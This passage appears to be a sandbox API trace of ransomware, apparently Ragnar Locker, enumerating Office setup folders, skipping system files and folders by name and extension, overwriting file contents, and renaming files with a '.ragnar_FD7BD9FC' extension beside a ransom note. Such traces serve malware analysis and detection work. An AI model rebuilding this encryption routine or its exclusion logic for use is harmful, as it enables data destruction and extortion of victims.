ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0062.969] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2=".") returned 1 [0062.969] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="..") returned 1 [0062.969] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c54bc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.969] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0062.969] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0062.969] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.969] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0062.969] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0062.969] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.969] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c54bc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.970] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c54bc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.970] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0062.970] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x68 [0062.970] lstrcpyW (in: lpString1=0x1ea0da, lpString2="PowerPointMUI.XML" | out: lpString1="PowerPointMUI.XML") returned="PowerPointMUI.XML" [0062.970] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned=".XML" [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="autorun.inf") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="boot.ini") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="bootfont.bin") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="bootsect.bak") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="bootmgr") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="bootmgr.efi") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="bootmgfw.efi") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="desktop.ini") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="iconcache.db") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="ntldr") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="ntuser.dat") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="ntuser.dat.log") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="ntuser.ini") returned 1 [0062.970] lstrcmpiW (lpString1="PowerPointMUI.XML", lpString2="thumbs.db") returned -1 [0062.970] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.970] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.970] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.970] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.970] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.971] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.971] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0062.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0062.971] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1450) returned 1 [0062.971] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.971] GetProcessHeap () returned 0x580000 [0062.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.971] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.972] VirtualAlloc (lpAddress=0x0, dwSize=0x5aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.973] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.973] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.973] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5aa, lpOverlapped=0x0) returned 1 [0062.973] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.973] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.973] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5aa, lpOverlapped=0x0) returned 1 [0062.973] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.973] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.973] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.973] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.973] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.974] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.974] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.974] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.974] GetProcessHeap () returned 0x580000 [0062.974] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.974] CloseHandle (hObject=0x104) returned 1 [0062.975] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" [0062.975] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.ragnar_FD7BD9FC" [0062.975] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.975] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c54bc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.975] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x68 [0062.975] lstrcpyW (in: lpString1=0x1ea0da, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0062.975] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0062.975] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0062.975] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.975] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x68 [0062.975] lstrcpyW (in: lpString1=0x1ea0da, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0062.975] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned=".XML" [0062.975] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0062.976] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.976] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0062.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0062.977] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1886) returned 1 [0062.977] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.977] GetProcessHeap () returned 0x580000 [0062.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.977] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.979] VirtualAlloc (lpAddress=0x0, dwSize=0x75e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.979] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.979] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.979] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x75e, lpOverlapped=0x0) returned 1 [0062.979] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.979] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x75e, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.979] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x75e, lpOverlapped=0x0) returned 1 [0062.979] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x75e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.979] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.979] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x75e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.979] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.980] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.980] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.980] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.980] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.980] GetProcessHeap () returned 0x580000 [0062.980] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.980] CloseHandle (hObject=0x104) returned 1 [0062.981] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" [0062.981] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0062.981] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.981] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.981] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.981] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0062.981] lstrcmpiW (lpString1="PRJPROR", lpString2=".") returned 1 [0062.981] lstrcmpiW (lpString1="PRJPROR", lpString2="..") returned 1 [0062.981] lstrcmpiW (lpString1="PRJPROR", lpString2="Windows") returned -1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Windows.old") returned -1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Tor browser") returned -1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Internet Explorer") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Google") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Opera") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Opera Software") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Mozilla") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="Mozilla Firefox") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="$Recycle.Bin") returned 1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="ProgramData") returned -1 [0062.982] lstrcmpiW (lpString1="PRJPROR", lpString2="All Users") returned 1 [0062.982] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0062.982] lstrcpyW (in: lpString1=0x1eab90, lpString2="PRJPROR" | out: lpString1="PRJPROR") returned="PRJPROR" [0062.982] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 